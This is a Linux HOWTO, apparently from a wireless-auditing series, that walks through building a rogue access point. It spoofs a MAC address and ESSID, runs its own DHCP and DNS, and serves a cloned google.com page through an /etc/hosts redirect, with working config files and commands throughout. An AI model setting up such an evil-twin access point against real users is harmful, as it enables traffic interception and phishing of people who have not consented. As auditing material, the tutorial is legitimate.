Linux Rogue Access Point HOWTO:
The following installation
process assumes that you are utilising the Auditing Laptop Build as described in
the Auditing Laptop Build: HOWTO
All software is provided by the Fedora Core 4
operating system, although it does involve downloading some additional packages.
Configuring the DHCP Server
Rogue AP
Start-Script
Installing and Configuring Apache Web
Server
Starting the Rouge AP
yum update dhcp
vi
/etc/dhcpd.conf
Enter the following
in /etc/dhcpd.conf:
ddns-update-style ad-hoc;
option
routers 192.168.1.1;
option domain-name-servers 192.168.1.1;
subnet 192.168.1.0 netmask 255.255.255.0
{
range 192.168.1.100 192.168.1.110;
}
Save and exit the
file.
The above entry will setup a dhcp server with:
DHCP server = 192.168.1.1 (Rogue AP machine)
DNS server = 192.168.1.1 (Rogue AP machine)
DHCP clients will be issued an IP address in the range 192.168.1.100-192.168.1.110
service start
dhcpd (will start the dhcp server)
nmap -sU -p 67
localhost (if 67/udp open is displayed the dhcp server is up and
running)
Create a Rogue AP
script:
vi
/tools/wifi/start-rogue
Replace [interface] with
the values for your network (wlan0 or ath0)
Replace [ESSID] with the
values for your network (e.g. Linksys)
Replace [MAC] with the
values for your network (e.g. DE:CA:FF:C0:FF:EE)
#!/bin/sh
ifconfig [interface] hw ether
[MAC]
ifconfig
[interface] 192.168.1.1 netmask 255.255.255.0
iwconfig [interface] mode master
iwconfig [interface] essid
[ESSID]
iwconfig [interface] key off
iwconfig [interface] rate auto
Save and exit the
file.
Once the file is
created, make the script executable with:
chmod 744
/tools/wifi/start-rogue
To show the basic
principle behind setting up a Rogue AP, we are simply going to provide the
www.google.com homepage to any user that connects to this particular Rogue
AP (which has no Internet connectivity).
yum install
httpd (to install Apache webserver)
Browse to the google homepage and "File > Save
As" the page as index.html
to /var/www/html this
will also create the subdirectory "_files"
in /var/www/html
which contains the google icon.
To start the webserver:
service httpd
start
Now disconnect the Rogue AP machine from the
Internet.
vi /etc/hosts
127.0.0.1
localhost.localdomain (this
entry will already exist)
192.168.1.1
www.google.com (append this
entry to the file)
Save and exit the file.
Browse to
http://www.google.com on the local
Rogue AP machine confirm www.google.com is now displayed.
Note: iptables rules
should be amended to allow the clients to connect (if enabled)
service dhcpd start
(Start the DHCP server)
service httpd start
(Start the Apache server)
/tools/wifi/start-rogue (Will configure and start the Rouge AP)
tail -f
/var/log/messages (Watching this console will display any clients that
connect to our Rouge APs DHCP server, along with their newly acquired IP
address).
|